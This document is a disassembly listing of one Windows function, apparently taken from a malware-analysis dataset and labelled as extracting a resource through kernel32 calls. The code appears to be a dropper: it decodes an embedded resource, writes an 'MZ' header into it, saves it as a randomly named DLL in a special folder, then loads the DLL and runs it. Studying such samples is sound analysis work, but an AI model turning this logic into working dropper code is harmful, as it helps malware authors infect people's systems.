Function at 0x402d00
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407c58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x538
push ebx
push esi
push edi
push 0
call sub.MFC42.DLL_AfxEnableControlContainer
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x440]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x440]
push 0x104
push eax
push 0
call esi
lea ecx, [ebp - 0x440]
push str.r210
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
test eax, eax
jne 0x402d84
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x544]
push 0x104
push edx
push 0
call esi
lea eax, [ebp - 0x544]
lea ecx, [ebp - 0x14]
push eax
call fcn.00407190
push 0x2e
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0
call sub.MFC42.DLL_CString::ReverseFind
mov ecx, dword [ebp - 0x14]
lea edx, [ebp - 0x24]
mov ecx, dword [ecx - 8]
sub ecx, eax
inc ecx
push ecx
push edx
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::Right
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0
call sub.MFC42.DLL_CString::CString
push 0x2e
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::ReverseFind
mov ecx, dword [ebp - 0x14]
lea edx, [ebp - 0x24]
mov ecx, dword [ecx - 8]
sub ecx, eax
sub ecx, 3
push ecx
push edx
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::Left
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0
call sub.MFC42.DLL_CString::CString
mov edi, dword [ebp - 0x14]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x134]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, dword [sym.imp.MSVCRT.dll_atoi]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x134]
mov byte [ebp - 0x1a], 0x30
push ecx
mov byte [ebp - 0x19], 0
mov byte [ebp - 0x18], 0x29
mov byte [ebp - 0x17], 0
call ebx
add esp, 4
cmp eax, 1
jge 0x402e97
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea edx, [ebp - 0x1a]
lea eax, [ebp - 0x134]
push edx
push eax
call esi
test eax, eax
je 0x402e97
lea ecx, [ebp - 0x18]
lea edx, [ebp - 0x134]
push ecx
push edx
call esi
test eax, eax
jne 0x4030c9
nop
nop
push 0x4272e8
push 0xa0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x4030c9
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov dword [ebp - 0x28], eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4030c9
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x24], eax
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x33b]
mov byte [ebp - 0x33c], 0
push 0x427280
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.shell32.dll
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
lea ecx, [ebp - 0x33c]
push 0x1a
push ecx
push 0
call eax
push str.EEB0F
push 0x1a000
push 0x40d280
call fcn.00402ba0
mov edi, 0x4272d8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x4272d4
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 1]
push eax
call sub.MFC42.DLL_operatornew
mov edx, eax
mov edi, 0x4272d4
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
mov dword [ebp - 0x30], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4272d8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp - 0x16], 0x36
mov byte [ebp - 0x15], al
mov byte [0x40d280], 0x4d
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0xe]
push eax
push ecx
mov byte [0x40d281], 0x5a
mov byte [ebp - 0xe], 0x33
call ebx
push eax
push 0x1a
call fcn.00402bf0
add esp, 0xc
add eax, 0x41
lea edx, [ebp - 0xe]
push eax
push edx
call ebx
push eax
push 0x1a
call fcn.00402bf0
add esp, 0xc
add eax, 0x61
push eax
lea eax, [ebp - 0xe]
push eax
call ebx
push eax
push 0x1a
call fcn.00402bf0
add esp, 0xc
add eax, 0x61
lea ecx, [ebp - 0xe]
push eax
push ecx
call ebx
push eax
push 0x1a
call fcn.00402bf0
add esp, 0xc
add eax, 0x41
lea edx, [ebp - 0x33c]
push eax
push edx
lea eax, [ebp - 0x238]
push str._s_c_c_c_c_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0x238]
push ecx
call fcn.00402c30
add esp, 0x24
lea edx, [ebp - 0x238]
push 2
push edx
call dword [0x427d6c]
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push 1
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x16]
push str.EEB0F
push ecx
mov edi, eax
mov byte [ebp - 0x20], 0x5f
mov byte [ebp - 0x1f], 0x32
mov byte [ebp - 0x1e], 0
call ebx
mov edx, dword [ebp - 0x28]
add esp, 4
lea ecx, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x24]
push edx
push eax
push ecx
call edi
test esi, esi
je 0x4030c9
test edi, edi
je 0x4030c2
lea edx, [ebp - 0x16]
push str.EEB0F
push edx
call ebx
mov ecx, dword [ebp - 0x24]
add esp, 4
lea edx, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x28]
push eax
push ecx
push edx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret